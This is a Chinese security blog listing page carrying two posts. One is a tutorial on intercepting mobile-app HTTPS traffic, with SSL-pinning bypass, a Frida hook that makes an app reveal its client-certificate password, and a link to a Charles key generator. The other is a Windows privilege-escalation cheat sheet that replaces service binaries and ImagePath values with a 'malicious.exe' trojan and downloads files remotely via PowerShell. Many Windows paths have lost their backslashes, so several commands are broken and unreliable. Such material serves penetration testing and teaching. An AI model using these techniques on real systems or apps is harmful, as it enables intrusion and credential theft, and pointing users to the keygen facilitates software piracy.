首页
关于
联系我们
本站友链
站点统计
站点留言
更多
本站壁纸
Search
1
cc攻击脚本加教程
92 阅读
2
植物大战僵尸杂交版秒杀包
69 阅读
3
子比搭建教程
64 阅读
4
黑客入侵黑页html源码
46 阅读
5
查看摄像头实时画面
45 阅读
默认分类
网络安全
个人笔记
网站源码
ctf
web
红蓝功防
应急响应
密码学
kali
linux
网安故事
日常
登录
/
注册
Search
标签搜索
ctf
网络安全
技术分享
工具
lucky博士
累计撰写
34
篇文章
累计收到
46
条评论
首页
栏目
默认分类
网络安全
个人笔记
网站源码
ctf
web
红蓝功防
应急响应
密码学
kali
linux
网安故事
日常
页面
关于
联系我们
本站友链
站点统计
站点留言
本站壁纸
搜索到
23
篇与
网络安全
的结果
2025-12-15
抓包教程
{mtitle title="抓包教程"/}抓包的作用是用来封包和截取网络流量包的特殊请求** 抓包教程 Hook | SSL Pinning |Frida前言1 使用 Burpsuite 对 APP 进行抓包环境:2使用 Fiddler 对 APP 进行抓包**环境:3 使用 Burpsuite + Fiddler 进行对 APP 进行抓包**4 、使用小黄鸟 HttpCanary 对 APP 进行抓包**环境:下面是 HttpCanary 的工作原理5 、使用 Charles 对 APP 进行抓包**环境:代理服务器的工作原理如下所示:Charles 下载地址:注册码生成地址:激活 Charles**HTTPS 解析6 、使用 Charles + Burpsuite 进行对 APP 进行抓包7 、使用 Postern + Charles + Burpsuite 进行对 APP 进行抓包**环境:先配置 Charles**Charles 和 Fiddler 的比较8 、使用 Frida + Xposed + Objection + Burpsuite 进行对 APP 进行抓包**SSL 证书绑定单向校验使用 Xposed + JustTruestMe 来突破 SSL Pinning**环境:**双向校验9 、使用 Frida 写 Hook 代码来进行对 APP 模拟抓包环境:总结参考资料前言每当遇到一些 APP 渗透测试项目的时候,抓不了包的问题令人有点难受,但是抓不了包并不能代表目标系统很安全,那么接下来我会整理一下目前我所了解到的一些抓包方法1. Burpsuite 2 、Fiddler 3 、Burpsuite + Fiddler 4 、小黄鸟 HttpCanary 5 、Charles 6 、Charles + Burpsuite 7 、Postern + Charles + Burpsuite 8 、Frida + Xposed + Objection + Burpsuite9 、Frida 写 Hook 代码来抓包以下抓包测试请确保手机和电脑是处于同一个局域网下1 、 使用 Burpsuite 对 APP 进行抓包环境:Burpsuite Professional v2021.Pixel3 Android11 、已 root + Xposed在 Burpsuite 里面 Proxy — Options — Proxy Listeners — Add然后在Speciffic address选择 172 网段的那个 IP 地址(即本机局域网 IP 地址)在手机里面网络设置也要设置 手动代理模式 ,输入的 IP和端口 都要与 Burpsuite 一样然后在手机浏览器访问 https://burp 这个地址,去进行下载并安装 burp 证书,因为抓取 HTTPS 流量是需要证书的,点击 CA Certificate 即可进行下载下载之后要对证书文件后缀名进行更改,因为手机是无法打开 .der 后缀的文件,所以要吧 .der 改为.cer ,然后再进行安装证书那么安装之后就可以进行抓取 APP 数据包了2、使用 Fiddler 对 APP 进行抓包环境:Fiddler v5.0.20204.Pixel3 Android11 、已 root + Xposed1 、在 Fiddler 里面 Tools — Options2 、在 options 弹框中切换至 HTTPS ,勾选图中标记的 2 个选项并点击 OK3 、勾选后会弹出安装证书的提示,根据提示一直点击 是 即可安装成功4 、接着在Tools — Options — Connections,端口写 9999 (可随意更改),并勾选 Allow remotecomputers to connect ,点击 OK5 、重启 Fiddler ( 修改fiddler配置要重启后才能生效 )6 、修改手机网络设置7 、在浏览器访问上面设置的 IP 地址和端口号,我这里是 172.20.10.5:9999(这里要根据实际情况),然后 FiddlerRoot certificate 进行下载证书,并自行安装那么安装之后就可以进行抓取 APP 数据包了3、使用 Burpsuite + Fiddler 进行对 APP 进行抓包配置 Burpsuite 使用的代理监听是 127.0.0.1:在 Fiddler 里面 Tools — Options — Gateway 配置的代理监听是 127.0.0.1:8080(这里的配置与Burpsuite 代理一致)接着在 Tools — Options — Connections ,端口写 9999 (可随意更改),并勾选 Allow remotecomputers to connect ,点击 OK修改手机网络设置也就是说从手机的流量经过 Fiddler 进行转发到Burpsuite4、使用小黄鸟 HttpCanary 对 APP 进行抓包环境:HttpCanary v3.3.Pixel3 Android11 、已 root + Xposed首先安装 HttpCanary APP 应用HttpCanary 支持 HTTP/HTTPS/HTTP2 网络数据包的抓取和分析,其实和 Charles 类似,要抓取 HTTPS需要使用 MITM 中间技术对 TLS/SSL 数据包进行解密以及明文输出,因此需要安装自签的 CA 证书这里要提一下 Android 系统默认对证书信任证书的问题因为我的 Pixel3 手机是已经 root 了,而且是 Android11 系统,在安卓 7.0 之前系统,直接下载证书装入即可,安卓 7.0 及以上系统对于证书的安全策略做了修改,意味着,从 sdcard 安装用户级 CA 将无法拦截应用流量。我们需要将证书命名为计算出的哈希值后缀 .0 或者直接在手机里面的 用户凭据 可以看到后缀 .0的证书文件 名字,然后导入到根证书目录:/system/etc/security/cacerts 让系统默认可信任。因此安装证书的方式也有所不同,默认它是安装在用户那里的。首先按照我下面的图顺序进行安装证书先导出 HttpCanary根 证书文件 .pem点击它,即可完成安装证书那么这里就看到它是安装在用户那里的,但是由于我的设备是已经 root 了,要把这个证书安装在 系统那里才能进行抓取 HTTPS 流量那么这时就需要把证书的文件移动到系统目录下就可以了,这里选择导出 System Trusted(.0)那么就把证书进行移动到系统证书目录 /etc/security/cacerts/在 Android 10 以及以上安装证书到 /system/etc/security/cacerts/会出现 system 无法写入使用 mount报错如下:'/system' not in /proc/mounts '/dev/block/dm-4' is read-only由于 Android 10 采用了某些安全策略,将系统分区 /system挂载为只读,就算你 root 了也没用,无法写入系统分区也就无法导入系统证书,在使用 HTTPCanary 这样的软件抓包分析的时候,很多 app 只认系统证书,不认用户证书遇见此类情况有两种方式解决:1 、在 Magisk 里面安装 Move Certificates模块,该插件可以一键将所有用户证书自动转换为系统区证书https://github.com/Magisk-Modules-Repo/movecert使用方法:所有证书安装为用户证书后,安装此插件,并重启。2 、创建一个新的挂载点来覆盖 这种方式是内存覆盖的方式所以手机重启后失效。(想要持久化需考虑搞一个开机启动服务)再进来这个看证书的界面就已经看到已经把 用户 的证书安装在 系统 那里了 # 创建一个临时目录,保存当前证书 mkdir /sdcard/tmp/ # 复制现有证书到临时目录 cp /system/etc/security/cacerts/* /sdcard/tmp/ # 创建内存挂载 mount -t tmpfs tmpfs /system/etc/security/cacerts # 将现有证书复制回 tmpfs 挂载 mv /sdcard/tmp/* /system/etc/security/cacerts/ # 更新 perms 和 selinux chown root:root /system/etc/security/cacerts/* chmod 644 /system/etc/security/cacerts/* chcon u:object_r:system_file:s0 /system/etc/security/cacerts/*虽然 HttpCanary 是一个很不错的抓包工具,但是它并不能跟其他抓包工具进行一个联动转发抓包,所以当渗透测试人员在使用它进行抓包之后,可以直接在手机上进行修改数据包进行测试,但是可能在手机上工作效率没那么高,于是就把要测试的数据包复制出来到 Burpsuite 上进行修改并发包,这个过程也会浪费很多时间。下面是 HttpCanary 的工作原理HttpCanary 采用 VPN 的方式将网络包转发给本地代理服务器,本地代理服务器将数据包转发虚拟网关,由虚拟网关进行不同策略地拦截和协议解析,最后再将数据发送给终端最重要的一层就是虚拟网关 Virtual Gateway ,需要对协议进行鉴定解析等等,包括数据包的拦截注入都是在这一层处理的,比如 HTTPS 的中间人(MITM)解析出明文包等因此从上图观察它的工作原理进行分析之后,让我寻找到另一种方式抓包(它的工作方式也和HttpCanary 有点相似 )可以用它来代替 HttpCanary —— Postern + Charles + Burpsuite组合,至于怎样操作,可以在文章下面 7 、使用Postern + Charles + Burpsuite进行对APP进行抓包 进行详细阅读5、使用 Charles 对 APP 进行抓包环境:Charles v4.6.2Pixel3 Android11 、已 root + Xposedcharles 是一款非常优秀的抓包工具,全平台支持,在 mac,windows,linux 上都可以使用,既可以抓取 web 端的包,也可以抓 app 端的包charles 主要的功能包括如下几点:截取 Http 和 Https 网络封包。支持重发网络请求,方便后端调试。支持修改网络请求参数。支持网络请求的截获并动态修改。支持模拟慢速网络。代理服务器的工作原理如下所示:客户端发起请求,请求通过 charles 转发给服务器,服务器返回响应,响应通过 charles 转发给客户端。charles 所起的作用就相当于信使,把信息从 A 传递给 B,并且把回信从 B 传递给 A,正因为他这个信使的工作,所以他对信息的内容了如指掌(不管是原信还是回信),正因为如此,charles 也就可以篡改信息的内容,即篡改请求和响应。Charles 下载地址:https://www.charlesproxy.com/download/然后自行安装之后,要对它进行激活注册码生成地址:https://www.zzzmode.com/mytools/charles/激活 Charles在 Help->Registered 输入 key 和生成的激活码即可设置代理,在 Proxy — Proxy Settings ( 注意:此时我的Windows Proxy是去掉对勾的,因为这里我是想在PC端抓手机端的包,所以没必要打开电脑的本地代理 )填入代理端口 8888 (或者自定义,但不能和系统已占用端口冲突),并且勾上 Support HTTP/2 和Enable transparent HTTP proxying ,点击右下角 OK 即可然后分别在 PC 端和手机端安装证书选择 Help — SSL Proxying — Install Charles Root Certificate 就可以下载安装上 PC 端了证书存储选择 受信任的根证书颁发机构接下来再给手机端安装证书,步骤如下:选择 Help — SSL Proxying — Install Charles Root Certificate on a Mobile Device or RemoteBrowser点击后会弹出窗口提示设置的方法,按照提示在手机端将代理设置为电脑的 ip:8888( 我这里是192.168.1.251:8888 ),这里要先确保手机和电脑连接同一个无线网络 。然后在手机的浏览器打开 http://chls.pro/ssl ,按提示下载证书即可。如果 Charles 有弹出提示,一定要点击 Allow首先按照我下面的图顺序进行安装证书找到选择刚刚下载的证书文件,点击即可完成安装它也是安装在 用户 那里,但是由于我的设备是已经 root 了,要把这个证书安装在 系统 那里才能进行抓取 HTTPS 流量但是移动证书的前提要知道证书安装之后的证书文件是被命名为什么,于是可以在 用户凭据 这里可以看到文件为 b905ae73.0 ,它目前是在用户目录下 /data/misc/user/0/cacerts-added/然后把它复制到 /etc/security/cacerts/ 系统目录下HTTPS 解析然后在 Proxy — SSL Proxying Settings 进行 SSL Proxying Settings 设置勾选 enable SSL Proxying 复选框代表开启 SSL Proxying 代理,并在 include 栏中添加域名和端口号。include 中的列表项代表 Charles 能够展示这些域名的 SSL 请求和响应的明文。并且说明中也提示了我们 Charles 要想使用 SSL Proxying 代理,需要进行 SSL Certificates,即证书签名。这个我们在上面已经完成了。Stop SSL Proxying 按钮可以控制 SSL 代理的开关。(必须要开启SSL Proxying)到此,PC 端的设置都已经配置好了,然后就能进行抓包了6、使用 Charles + Burpsuite 进行对 APP 进行抓包选择勾选 Proxy — External Proxy Settings 就是要将 Charles 作为手机端的代理,再由 Charles 将包转发给 burpsuite,所以对于 Charles 来说,burpsuite 就成了一个 External Proxy Server —— 外部代理服务器勾选 HTTP 和 HTTPS 代理,这里 HTTP 和 HTTPS 的代理服务器地址都是 127.0.0.1:8080(这里的配置与 Burpsuite 代理一致)已经设置了外部代理了,就必须打开 burp(当然了主要是要打开 burp 中对 127.0.0.1:8080 的监听),否则就会出现 连不上网了 的现象。在 burp 的菜单栏中的 Proxy 选项下的 Options 中打开127.0.0.1:8080 的代理监听(默认应该是已经打开的),在 Intercept 中关闭请求拦截。完成上面的配置步骤后,从手机上打开浏览器搜索内容,应该已经可以在 Charles 窗口左侧的列表中找到想抓的包,并且也可以看到数据包从 Charles 转发到 Burpsuite 了7**、使用 Postern + Charles + Burpsuite 进行对 APP进行抓包**在实际抓手机 App 包场景中,有很多种方案,经典的就是 Fiddler 、 Burpsuite ,但是 Fiddler 、Burpsuite 会遇到一个问题,如果 App 为了防止中间人抓包,特意设置了不走代理这个选项,那单独直接用 Fiddler 、 Burpsuite 这些抓包工具就不能抓包的,那总不可能说不能抓包就认为目标系统很安全吧?为了抓到完整的包,于是就衍生出 Postern + Charles 这个组合,是因为 Charles 没有直接监听到App,Charles 是监听到了 Postern 上,Postern 就是一个VPN ,所以 App 设置不走代理也没用,它是通过 VPN 将所有流量转发到 Charles 的 socks 代理,再打开 Charles 的 External Proxy Server — (外部代理服务器)转发到 Burpsuite,从而实施中间人抓包环境:Postern 3.1.3Charles v4.6.2Burpsuite Professional v2021.2Pixel3 Android11 、已 root + Xposed先配置 Charles在 Proxy — Proxy Settings ,勾选 Enable SOCKS proxy 进行设置 SOCKS 代理(按照下图的操作),端口号我这里设置 16666 (或者自定义,但不能和系统已占用端口冲突)配置代理添加代理服务器点击保存配置规则添加规则按照下图进行操作并点击保存打开/关闭 Postern那么只要上面的 使用Charles + Burpsuite进行对APP进行抓包 设置好之后,打开你想要抓的目标 APP就可以看到数据包已经转发到 Burpsuite 了但是如果遇到某些比较敏感的 APP,检测 root 的话,可以参考下面的两篇文章进行设置隐藏 Root – Zygisk 版面具 Magisk 过银行 App 等 Root 检测,Shamiko 模块的妙用 magisk 安装与配置Charles 和 Fiddler 的比较Fiddler 虽然也可以完成对手机的抓包,但是如果 App 设置了不走代理,那 Fiddler 就失败了,并且Fiddler 每次都需要手动修改网络设置的代理,但是 Charles 与 Postern 联动配合就不需要手动修改网络设置,只需要配置好 Postern 和 Charles 的连接就可以了,并且可以对绝大部分的 App 进行抓包,不使用代理时,直接关闭 Postern 即可目前来说,Fiddler 和 Charles 都是很流行的,但是相对来说,还是 Postern + Charles 适用范围更广一些。8**、使用 Frida + Xposed + Objection + Burpsuite 进行对 APP 进行抓包**SSL 证书绑定什么是证书绑定呢?其实网上叫法蛮多的,SSL 证书绑定、英文名字:SSL Pinning 或者证书检验。总之无论怎么叫都是检验证书是否可信任。我们知道从 HTTP 到 HTTPS 数据在传输过程中添加了一层SSL/TLS,让我们数据流量处于加密状态,不再是明文可见。这时候便有了 CA 证书。我们在抓取 HTTPS 数据包得时候,做的就是利用假的 CA 证书,来实现中间人劫持数据。一旦 app 校验了证书的指纹信息。我们的证书不再受信任了。自然而然就无法建立连接,所以必须想办法让 app 信任,才能继续抓包。当然这个分为两种情况:( 1 )单项校验-客户端校验服务端的证书。( 2 )双向认证-客户端不仅仅要校验服务端的证书,也会在 app 内放一张证书;服务端也会检验客户端里的证书。单向校验Android 系统中已经提供了检验证书的 api,我们只需要实现 checkClientTrusted 、checkServerTrusted 、 verify 等方法即可。这类的对抗需要我们将这些函数的校验进行置空,默认信任所有证书即可。使用 Xposed + JustTruestMe 来突破 SSL PinningXposed 是一个框架,它可以改变系统和应用程序的行为,而不接触任何 APK。它支持很多模块,每个模块可以用来帮助实现不同的功能。JustTrustMe 是一个用来禁用、绕过 SSL 证书检查的基于 Xposed 模块。JustTrustMe 是将 APK 中所有用于校验 SSL 证书的 API 都进行了 Hook,从而绕过证书检查。环境:Pixel3 Android11 、已 root + XposedSSLUnpinning 2.0 插件JustMePlush 插件Frida-server-15.1.27-android-arm64PC 端的 Frida v15.1.27Objection v1.11.0首先下载 Xposed 框架插件 SSLUnpinning + JustTrustMe , SSLUnpinning 插件可以直接在 Xposed 商店下载,而 JustTrustMe 插件需要到下面的 GitHub 链接自行下载我这里就使用 SSLUnpinning 2.0 插件和 JustMePlush 插件,效果都是一样的,插件安装完之后,记得启动插件,然后 重启手机 后插件才能生效然后使用 Objection 进行绕过Objection 是一款基于 frida 的 hook 框架,由于 frida 需要我们自己编写脚本,使用比较麻烦,objection 内置了在安卓和 IOS 逆向中常用的一些 hook 脚本,我们通过简单的命令行就可以进行 hook动态篡改,非常方便因为 Objection 是基于 Frida 的所以必须先安装 Frida 然后才能安装 Objectionpip3 install objection按照上面的操作进行部署 Frida 环境之后,就启动 Frida服务端程序接着用 Objection 注入到目标 APP 应用程序上如果不知道 APP 包名,可以用以下命令进行查看,但是依然前提要启动了 Frida服务端程序pip3 install objectionobjection -g 包名 explore然后输入关闭 APP 的 SSL 校验命令并在手机里面网络设置也要设置手动代理模式,输入的 IP 和端口都要与 Burpsuite 一样frida-ps -Uaandroid sslpinning disable即可完成绕过 SSL Pinning 进行抓包如果出现还是依然无法绕过 SSL Pinning 的情况,可以参考下面两篇文章Android 抓包总结 Frida.Android.Practice (ssl unpinning)双向校验APP 除了校验服务端的证书,服务端还会检验 APP 的证书。HTTPS 双向证书校验在实际中几乎很少用到,因为服务器端需要维护所有客户端的证书,这无疑增加了很多消耗,因此大部分厂商选择使用单向证书绑定。 对抗双向认证需要完成两个环节:( 1 )让客户端认为 burp 是服务端 ,这一步其实就是破解 SSL pinning,方法和上述过程完全相同。( 2 )让服务端认为 burp 是客户端 ,这一步需要导入客户端的证书到 burp,客户端的证书一定会存在本地代码中,而且还可能会有密码,这种情况下需要逆向客户端 app,找到证书和密码,并转为 pkcs12格式导入到 burp。User options -> SSL -> Client SSL Certificate。双向校验的app 案例: https://www.wandoujia.com/apps/8280413通常情况下应用会将证书放置在资源目录 app/asset下,后缀名为 p12 、 pfx的文件。当然也可能会伪装成其他文件,例如图片文件等。怎么找到证书密码呢?一般要么逆向分析找到密码,要么通过 hook api java.security.KeyStore 使密码自吐。( 1 )Jadx 中搜索证书的名字、或者证书链 x509certificate 分析定位到关键位置。( 2 )服务器对客户端进行校验过程中,客户端将证书公钥发送给服务器,以及从服务器获取 session 和私钥解密过程中,需要 API 进行操作,API 存在于 java 层框架内,所以 hook 框架层代码java.security.KeyStore,使密码自吐。这里下图的案例 APK 解压之后在 assets 目录下有一个 client.p12 的证书文件,但是不知道它的密码,因此要使用 Frida 对目标 APP 进行 hook,让它密码自吐。❗ ❗ ❗ 注意:.p12后缀的证书文件是由 .crt证书和 key 文件合并成.p12证书文件,并且在合并生成.p12 文件的时候必须对证书进行加密(也就是加个证书密码),不加密码 Burpsuite 是无法导入的脚本可以在大佬博客这里复制,并命名为 ssl.js(可自定义) 抓包之服务器校验客户端证书执行下面的命令function hook_KeyStore_load() { Java.perform(function () { var StringClass = Java.use("java.lang.String"); var KeyStore = Java.use("java.security.KeyStore");KeyStore.load.overload('java.security.KeyStore$LoadStoreParameter').implementat ion = function (arg0) {console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lan g.Throwable").$new())); console.log("KeyStore.load1:", arg0); this.load(arg0); }; KeyStore.load.overload('java.io.InputStream', '[C').implementation = function (arg0, arg1) {console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lan g.Throwable").$new())); console.log("KeyStore.load2:", arg0, arg1? StringClass.$new(arg1) : null); this.load(arg0, arg1); };console.log("hook_KeyStore_load..."); }); }setImmediate(hook_KeyStore_load)frida -U -f APP 包名 -l ssl.js –no-pause可以发现我们通过 hook 框架层代码得到了 client.p12证书密码为 111111 ,然后在 Burpsuite 里面选择User options — TLS — Client TLS Certificates — Add 进行导入证书,Destination host写*进行匹配所有地址,证书类型选择File(PKCS#12),然后选择Next加载 assets 目录下的 client.p12 证书文件,和输入上面 hook 出的密码 111111导入证书之后,就可以正常的抓包了,可以看下面的图,下面的 403 是没导入证书的时候,它就不允许你抓包访问,上面的 200 是我导入证书之后,就可以正常抓包了还有就是在某些特殊场景 web页面 或者 APP 需要在 PC 电脑端安装证书才能进行访问抓包的,那么就要根据实际情况去操作9、使用 Frida 写 Hook 代码来进行对 APP 模拟抓包环境:夜神模拟器 32 位 Android7.1.2 已 rootFrida-server-15.1.27-android-x86PC 端的 Frida v15.1.27Objection v1.11.0使用 Charles 抓不到包怎么办呢,我们有 Frida,可以通过 frida 来 hook 住 APP 构造网络请求和接收数据地方的代码,然后打印出来请求和返回数据,这样 APP 向服务器进行的网络请求和接收的数据便一览无余了。一般网络请求和接收数据的代码都会写在一个类中,我们只要找到一个点来追踪去找到这个类就可以了。在大佬的 Github 项目里面找到一个Frida 实现拦截 okhttp 的脚本它的工作原理就是:由于所有使用的 okhttp 框架的 App 发出的请求都是通过RealCall.java发出的,那么我们可以 hook 此类拿到 Request 和 Response, 也可以缓存下来每一个请求的 call 对象,进行再次请求,所以选择了此处进行 hook。 find 前新增 check,根据特征类寻找是否使用了 okhttp3 库,如果没有特征类,则说明没有使用 okhttp; 找到特征类,说明使用了 okhttp 的库,并打印出是否被混淆。❗ ❗ ❗这里我使用了真机进行测试,遇到下面的报错,应该是有检测到我真机的一些环境原因吧,因此我就使用了夜神模拟器进行下面的操作首先将 okhttpfind.dex 拷贝到 /data/local/tmp/ 目录下,并赋予权限adb push okhttpfind.dex /data/local/tmp/ chmod 777 okhttpfind.dex然后启动Frida服务端程序接着执行命令启动 hook 脚本okHttp 的 app 案例adb push okhttpfind.dex /data/local/tmp/chmod 777 okhttpfind.dexfrida -U -l okhttp_poker.js -f APP 包名 –no-pause如果有需要可追加参数 -o [output filepath] 保存到文件然后复制被混淆后的类名(上图红色框圈住的内容),粘贴到 okhttp_poker.js 文件中(如下图),并进行保存,Frida 会自动实时识别更新后的脚本内容执行相关操作然后运行 hold() 命令开启 hook 拦截,然后操作 App 后,会出现拦截的内容如下:如果想对 okHTTP 进行深入的研究可以前往这篇大佬的文章进行阅读 [原创] 如何实现 Https 拦截进行 非常规“抓包”(20.9.13-代码更新)总结整理了以上九种不同的抓包方式其实是可以应对目前市面上各大的 APP 抓包场景,当然抓包的方式肯定不只这九种,比如还有肉丝大佬 r0ysue 的安卓应用层抓包通杀脚本,有兴趣的大佬可以去尝试一下。其实能多掌握一些抓包的技巧,也许能够在测试的过程中发现更多意想不到的新技术。参考资料fiddler 安装教程,算是一次记录吧~ 如何使用 Burp suite 抓取 Fiddler 转发的流量包 Android 抓包——HttpCanary Android10 导入系统证书的方法。 学完这篇 Charles 抓包教程,我直接把 fiddler 卸载了 Charles+Postern 抓包 如何通过 Charles+BurpSuite 的配合在 PC 端抓到手机包 Charles 乱码和 SSL 代理问题解决 走进移动安全(3)-抓包进阶 双向认证 APP 自吐证书密码与抓包 [原创]安卓 APP 抓包之双向认证突破 [Frida 实现的 Android 端 App 抓包小工具okhttp_poker]
2025年12月15日
17 阅读
0 评论
1 点赞
2025-12-15
windows简单提权笔记
Windows提权笔记大纲设计以下主题:Windows提权命令参考本地权限提升服务漏洞Windows注册表不安全的文件系统权限AlwaysInstallElevated获得凭证利用令牌权限DLL 劫持自动化的工具和框架Windows提权命令参考以下是一些必要的Windows命令:命令描述systeminfo打印系统信息whoami获得当前用户名whoami /priv当前帐户权限ipconfig网络配置信息ipconfig /displaydns显示DNS缓存route print打印出路由表arp -a打印arp表hostname主机名net user列出用户net user UserName关于用户的信息net use \\SMBPATH Pa$$wOrd /u:UserName连接SMBnet localgroup列出所有组net localgroup GROUP关于指定组的信息net view \\127.0.0.1会话打开到当前计算机net session开放给其他机器netsh firewall show config显示防火墙配置DRIVERQUERY列出安装的驱动tasklist /svc列出服务任务net start列出启动的服务dir /s foo在目录中搜索包含指定字符的项目dir /s foo == bar同上sc query列出所有服务sc qc ServiceName找到指定服务的路径shutdown /r /t 0立即重启type file.txt打印出内容icacls "C:\Example"列出权限wmic qfe get Caption,Description,HotFixID,InstalledOn列出已安装的补丁(New-Object System.Net.WebClient).DownloadFile("http://host/file","C:\LocalPath")利用ps远程下载文件到本地accesschk.exe -qwsu "Group"修改对象(尝试Everyone, Authenticated Users和/或Users)这个起点比较友好,下面还有一些可以参考的:https://www.microsoft.com/en-us/download/details.aspx?id=2632https://ss64.com/nt/https://www.sans.org/security-resources/sec566/windows_command_line_sheet_v1.pdf另外还有两个语言供参考:WMICPowerShellExploits多年来,Windows肯定有很多内核攻击的案例分享,并且不乏各种版本的本地授权exp。事实上,本指南列出的内容很多。有关Windows漏洞的一些相关列表,请参阅以下资源:https://github.com/SecWiki/windows-kernel-exploitshttps://www.exploit-db.com/local/https://pentestlab.blog/2017/04/24/windows-kernel-exploits/务必检查系统的补丁级别,以确定它是否可利用。正常的测试是检查系统上最新补丁的日期。如果它比漏洞利用程序更旧,则系统可能容易受到攻击。请务必查找该漏洞利用程序的相关修补程序,并查看它是否已安装。还要记住,利用内核漏洞可能会影响系统的稳定性(会把系统打崩)!在测试产品之前要小心。首先探索其他潜在的载体总是好的。服务配置错误利用配置错误的服务进行提升权限是常用方法。本节将介绍可以利用的Windows服务的几种方法。不带引号的服务路径当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引导中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。这可能有点不直观,所以让我们来看一个实际的例子。假设服务配置类似于以下存在bug的示例服务:C:Program FilesVulnerable ServiceSub Directoryservice.exeWindows命令解释程序可能会遇到名称中的空格,并且希望通过将字符串包装在引导中来对它们进行转义。在上面的示例中,如果系统运行该服务,它将尝试运行以下可执行文件:C:Program.exeC:Program FilesVulnerable.exeC:Program FilesVulnerable ServiceSub.exeC:Program FilesVulnerable ServiceSub Directoryservice.exetext为了讲清楚这个漏洞,定义一个名为example.exe的程序,这是一个简单打印出自己名称的正常二进制文件:#include <stdio.h> void main(int argc, char *argv[]) { printf("[*] Executed %s\n", argv[0]); }考虑当从命令行通过其绝对路径执行此程序时会发生什么,在引导内:C:\>"C:\Example\Sub Directory\example.exe" [*] Executed C:\Example\Sub Directory\example.exe C:\> 或: C:\>C:\Example\Sub Directory\example.exe 'C:\Example\Sub' is not recognized as an internal or external command, operable program or batch file.C:>这意味着如果服务器名不加引号,我们可以放置一个与第一个名称相同的恶意二进制文件作为文件系统对象,并在其名称中包含空格,并且当服务尝试执行其二进制文件时会将它运行。我们所需要的只是对路径中目录的写权限。考虑通过隐藏example.exe来利用上述示例,C:ExampleSub.exe在没有空格的情况下调用上面的示例,如易受攻击的服务:C:>C:ExampleSub Directoryexample.exe[*] Executed C:ExampleSubC:>一条命令找到这些错误配置:bashwmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:Windows\" | findstr /i /v """不安全的服务权限即使正确引用了服务器名,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它。AccessChk工具可以用来查找用户可以修改的服务:C:UsersuserDesktop>accesschk.exe -uwcqv "user" *Accesschk v6.02 - Reports effective permissions for securable objects Copyright (C) 2006-2016 Mark RussinovichSysinternals - www.sysinternals.comRW Vulnerable ServiceSERVICE_ALL_ACCESS也可以使用以下sc qc命令查询服务:C:UsersuserDesktop>sc qc "Service"[SC] QueryServiceConfig SUCCESSSERVICE_NAME: ServiceTYPE : 10 WIN32_OWN_PROCESSSTART_TYPE : 2 AUTO_STARTERROR_CONTROL : 1 NORMALBINARY_PATH_NAME : C:Program Files (x86)Program FolderSubfolderService.exeLOAD_ORDER_GROUP : UIGroupTAG : 0DISPLAY_NAME : ServiceDEPENDENCIES :SERVICE_START_NAME : LocalSystem最后,可以在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices注册表项中找到有关服务的信息。另请参阅本指南Windows注册表的部分。如果可以修改服务的BINPATH,则可以利用它:C:UsersuserDesktop>sc config "Vulnerable" binpath="C:malicious.exe"[SC] ChangeServiceConfig SUCCESS修改后,必须重新启动服务才能执行二进制文件。可以手动重启服务。先停止它:C:UsersuserDesktop>sc stop "Vulnerable"SERVICE_NAME: VulnerableTYPE : 10 WIN32_OWN_PROCESSSTATE : 3 STOP_PENDING(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)WIN32_EXIT_CODE : 0 (0x0)SERVICE_EXIT_CODE : 0 (0x0)CHECKPOINT : 0x0WAIT_HINT : 0x0然后启动:C:UsersuserDesktop>sc start "Vulnerable"作为低权限用户,这可能会失败:C:UsersuserDesktop>sc stop "ServiceName"[SC] OpenService FAILED 5:Access is denied.要强制重新启动,可以重新启动系统,或者可以通过社工管理员或管理自己重新启动系统。该服务还可能在启动时抛出错误消息:C:UsersuserDesktop>sc start "ServiceName"[SC] StartService FAILED 1053:The service did not respond to the start or control request in a timely fashion.当Windows执行服务时,它们应与Windows服务控制管理器通信。如果不这样做,SCM就会杀死这个进程。通过使用执行自动迁移到新进程的payload,手动迁移进程,或者在执行后将服务的bin路径设置回原始服务二进制文件,可以解决这个问题。注册表以下是通过注册表识别漏洞的一些方法。注册表由一系列配置单元或配置集合组成。它们按以下方式分解:HKEY_CLASSES_ROOT - 文件类型的默认应用程序HKEY_CURRENT_USER - 当前用户的个人资料HKEY_LOCAL_MACHINE - 系统配置信息HKEY_USERS - 系统用户配置文件HKEY_CURRENT_CONFIG - 系统启动硬件配置文件可以从命令行调用注册表,也可以使用GUI工具Regedit进行交互。SUBINACL工具有助于检查注册表项,但它必须被部署为一个.msi。如果系统AlwaysInstallElevated没有配置错误,则低权限用户无法使用更高权限安装.msi。(有关AlwaysInstallElevated的详细信息,请参阅后面的部分。)例如,要使用SubInACL查询易受攻击的服务:C:UsersuserDesktop>subinacl.exe /keyreg "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesService" /display ...在上面的例子中,everyone给出了full control。也可以使用AccessChk工具查询注册表。一旦发现有漏洞的配置,就可以将木马放入服务的ImagePath中。C:UsersuserDesktop>reg add "HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesService" /t REG_EXPAND_SZ /v ImagePath /d "C:UsersuserDesktopmalicious.exe" /fThe operation completed successfully.与上面情况一样,必须重新启动服务才能运行木马。即使系统上的所有服务都是封闭的,注册表也可能会出现其他漏洞。可能会保存凭据或其他信息,或者可以调整配置。此外,reg命令还可用于本地保存注册表配置单元,以便使用RegRipper等工具进行散列破解,SAM文件提取和静态分析。不安全的文件系统权限管理员通常为某些路径配置自由权限,以避免潜在的访问错误。这可以提供一种简单的利用途径,因此考虑与服务和服务二进制文件关联的文件系统权限是关键。在配置错误的Windows服务的情况下,可能存在服务可执行文件的路径被完全引用并且服务权限被限制但实际二进制文件本身就不安全。例如:C:Program Files (x86)Program Folder>icacls "C:Program Files (x86)ProgramService Folder"C:Program Files (x86)ProgramService Folder 